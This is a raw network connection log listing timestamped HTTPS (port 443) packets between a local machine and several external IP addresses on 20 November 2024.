Nov 20, 2024 10:20:03.913297892 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.913304090 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.913357973 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.914128065 CET	49769	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.914139986 CET	443	49769	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.926002026 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.930705070 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.930722952 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.930783033 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.930783033 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.930834055 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.932574034 CET	49768	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:03.932593107 CET	443	49768	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:03.957324028 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.003796101 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.003806114 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.003834963 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.003850937 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.003854036 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.003879070 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.003894091 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.003907919 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.003941059 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.005445004 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.005480051 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.005590916 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.026016951 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.026029110 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.050689936 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.050700903 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.050754070 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.050761938 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.050818920 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.109100103 CET	49770	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.109132051 CET	443	49770	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.127624035 CET	49779	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.127659082 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.127722979 CET	49779	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.127955914 CET	49779	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.127969027 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.190527916 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.190570116 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.191188097 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.191224098 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.191334963 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.191587925 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.191587925 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.191620111 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.191822052 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.191831112 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.247416973 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.247453928 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.247587919 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.247947931 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.247965097 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.305310011 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.337687016 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.340212107 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.342458010 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.342560053 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.354856014 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.386576891 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.389978886 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.390053988 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.401106119 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.429975986 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.445857048 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.583630085 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.630307913 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.644289017 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.644304037 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.645062923 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.645076036 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.645545006 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.645550013 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.645936012 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.645946980 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.646533966 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.646538973 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.647068024 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.647131920 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.647682905 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.647697926 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.647874117 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.647890091 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.648123980 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.648128986 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.648540974 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.648546934 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.649609089 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.649617910 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.650047064 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.650052071 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.651727915 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.651736975 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.651995897 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.656521082 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.656586885 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.656826019 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.656832933 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.695163965 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.703820944 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.706027985 CET	49779	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.706058025 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.706357002 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.710777998 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.716429949 CET	49779	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.716496944 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.716727972 CET	49779	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.731184959 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.738589048 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.742525101 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.742541075 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.742780924 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.743377924 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.743433952 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.743452072 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.744976044 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.744991064 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.745032072 CET	49774	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.745038986 CET	443	49774	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.746525049 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.746602058 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.747016907 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.747507095 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.747896910 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.748084068 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.748409033 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.748464108 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.748662949 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.748662949 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.750890017 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.751152992 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.754565954 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.763325930 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.775321007 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.778084040 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.778084040 CET	49775	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.778107882 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.778119087 CET	443	49775	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.779474020 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.779489040 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.779501915 CET	49776	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.779509068 CET	443	49776	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.787322044 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.787410975 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.788311958 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.788311958 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.788327932 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.788341045 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.790055037 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.790066004 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.790123940 CET	49771	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.790128946 CET	443	49771	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.790524006 CET	49773	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.790529966 CET	443	49773	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.809726954 CET	49783	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.809751034 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.809812069 CET	49783	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.810405016 CET	49784	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.810432911 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.810483932 CET	49784	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.811485052 CET	49785	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.811518908 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.811728954 CET	49785	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.813158989 CET	49786	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.813168049 CET	443	49786	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.813297033 CET	49786	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.813433886 CET	49783	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.813441992 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.813580036 CET	49784	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.813591003 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.813711882 CET	49785	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.813724041 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.814023972 CET	49787	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.814033031 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.814249992 CET	49787	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.814353943 CET	49787	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.814362049 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.814469099 CET	49786	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:04.814476967 CET	443	49786	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:04.833811045 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.844965935 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.846856117 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.846863031 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.847868919 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.847934008 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.848494053 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.848695040 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.848750114 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.865660906 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.865767002 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.866034031 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.869147062 CET	49777	443	192.168.2.9	104.26.9.44
Nov 20, 2024 10:20:04.869159937 CET	443	49777	104.26.9.44	192.168.2.9
Nov 20, 2024 10:20:04.893465042 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:04.893496037 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:04.893551111 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:04.894143105 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:04.894157887 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:04.895319939 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.897092104 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.897099972 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.903846025 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.904171944 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.904191971 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.905200958 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.905270100 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.905591965 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.905643940 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.933521986 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.933657885 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.933720112 CET	49779	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.934880972 CET	49779	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.934901953 CET	443	49779	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.943283081 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.943325996 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.943407059 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.943557978 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.943782091 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.943789959 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.943803072 CET	49772	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.943809986 CET	443	49772	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.959006071 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.959018946 CET	443	49782	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.964204073 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.966640949 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.966649055 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.966681957 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.966701984 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.966706038 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.966721058 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.966730118 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.966758966 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.966778994 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.967897892 CET	49780	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:04.967911005 CET	443	49780	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:04.979482889 CET	49790	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.979532003 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:04.979671955 CET	49790	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.980051994 CET	49790	443	192.168.2.9	184.28.90.27
Nov 20, 2024 10:20:04.980061054 CET	443	49790	184.28.90.27	192.168.2.9
Nov 20, 2024 10:20:05.005882978 CET	49782	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:05.075052023 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.121691942 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.121710062 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.121737957 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.121762037 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.121822119 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:05.121833086 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.121840000 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.121880054 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:05.121880054 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:05.166709900 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.166722059 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.166778088 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.166841984 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:05.167287111 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:05.167287111 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:05.397943974 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.398809910 CET	49785	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.398838997 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.399322033 CET	49785	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.399327993 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.442682981 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:05.443041086 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:05.443070889 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:05.444149971 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:05.444225073 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:05.444749117 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:05.444802999 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:05.444950104 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:05.444957018 CET	443	49788	104.26.8.44	192.168.2.9
Nov 20, 2024 10:20:05.451939106 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.452521086 CET	49784	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.452553034 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.453068018 CET	49784	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.453073978 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.463197947 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.464078903 CET	49783	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.464099884 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.464577913 CET	49783	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.464587927 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.475188017 CET	49781	443	192.168.2.9	173.248.187.77
Nov 20, 2024 10:20:05.475209951 CET	443	49781	173.248.187.77	192.168.2.9
Nov 20, 2024 10:20:05.490082979 CET	443	49786	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.490253925 CET	49788	443	192.168.2.9	104.26.8.44
Nov 20, 2024 10:20:05.490775108 CET	49786	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.490797043 CET	443	49786	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.491296053 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.491568089 CET	49787	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.491581917 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.491727114 CET	49786	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.491733074 CET	443	49786	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.492449045 CET	49787	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.492453098 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.502176046 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.502254963 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.502444983 CET	49785	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.502470016 CET	49785	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.502484083 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.502501011 CET	49785	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.502506018 CET	443	49785	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.505629063 CET	49792	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.505664110 CET	443	49792	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.505821943 CET	49792	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.506131887 CET	49792	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.506139994 CET	443	49792	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.558490992 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.558561087 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.558835030 CET	49784	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.558866978 CET	49784	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.558878899 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.558892012 CET	49784	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.558897018 CET	443	49784	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.562120914 CET	49793	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.562148094 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.562221050 CET	49793	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.562397003 CET	49793	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.562405109 CET	443	49793	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.565705061 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.565764904 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.565922976 CET	49783	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.565969944 CET	49783	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.565969944 CET	49783	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.565982103 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.565993071 CET	443	49783	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.568176031 CET	49794	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.568192959 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.568259001 CET	49794	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.568416119 CET	49794	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.568423033 CET	443	49794	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.600131035 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.600188971 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.600279093 CET	49787	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.600792885 CET	49787	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.600800991 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.600811958 CET	49787	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:05.600817919 CET	443	49787	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:05.601023912 CET	443	49786	13.107.246.45	192.168.2.9
